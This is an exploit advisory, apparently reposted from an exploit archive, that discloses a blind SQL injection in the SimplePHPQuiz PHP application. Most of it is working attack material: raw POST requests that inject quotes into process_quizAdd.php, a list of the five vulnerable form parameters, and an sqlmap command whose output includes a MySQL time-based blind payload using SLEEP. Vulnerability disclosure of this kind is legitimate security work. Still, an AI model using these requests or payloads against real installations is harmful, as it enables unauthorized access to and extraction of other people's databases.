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SimplePHPQuiz - Blind SQL Injection
[# Exploit Title: SimplePHPQuiz - Blind SQL Injection
# Date: 2016-08-23
# Exploit Author: HaHwul
# Exploit Author Blog: www.hahwul.com
# Vendor Homepage: https://github.com/valokafor/SimplePHPQuiz
# Software Link: https://github.com/valokafor/SimplePHPQuiz/archive/master.zip
# Version: Latest commit
# Tested on: Debian [wheezy]
### Vulnerability
1-1. Nomal Request
POST /vul_test/SimplePHPQuiz/process_quizAdd.php HTTP/1.1
Host: 127.0.0.1
..snip..
Content-Length: 96
question=0000'&correct_answer=9999&wrong_answer1=9&wrong_answer2=9&wrong_answer3=9&submit=submit
1-2 Response
<div class="container theme-showcase" role="main">Your quiz has been saved <div class="footer">
<p class="text-muted">© Val Okafor 2014 - Simple PHP Quiz</p>
2-1 Attack Request 1
POST /vul_test/SimplePHPQuiz/process_quizAdd.php HTTP/1.1
Host: 127.0.0.1
..snip..
Content-Length: 96
question=0000'&correct_answer=9999&wrong_answer1=9&wrong_answer2=9&wrong_answer3=9&submit=submit
2-2 Response
<div class="container theme-showcase" role="main"><h1>System Error</h1> <div class="footer">
<p class="text-muted">© Val Okafor 2014 - Simple PHP Quiz</p>
3-1 Attack Request 2
POST /vul_test/SimplePHPQuiz/process_quizAdd.php HTTP/1.1
Host: 127.0.0.1
..snip..
Content-Length: 96
question=0000''&correct_answer=9999&wrong_answer1=9&wrong_answer2=9&wrong_answer3=9&submit=submit
3-2 Response
<div class="container theme-showcase" role="main">Your quiz has been saved <div class="footer">
<p class="text-muted">© Val Okafor 2014 - Simple PHP Quiz</p>
### Weak Parameters
correct_answer parameter
question parameter
wrong_answer1 parameter
wrong_answer2 parameter
wrong_answer3 parameter
### SQLMAP Result
#> sqlm -u "http://127.0.0.1/vul_test/SimplePHPQuiz/process_quizAdd.php" --data="question=0000&correct_answer=99aaa99&wrong_answer1=9&wrong_answer2=9&wrong_answer3=9&submit=submit" --risk 3 --dbs --no-cast -p correct_answer
...snip...
POST parameter 'correct_answer' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection points with a total of 117 HTTP(s) requests:
---
Parameter: correct_answer (POST)
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind (SELECT)
Payload: question=0000&correct_answer=99aaa99' AND (SELECT * FROM (SELECT(SLEEP(5)))FvVg) AND 'ZQRo'='ZQRo&wrong_answer1=9&wrong_answer2=9&wrong_answer3=9&submit=submit
---
[17:52:05] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.10
# 0day.today [2024-12-25] #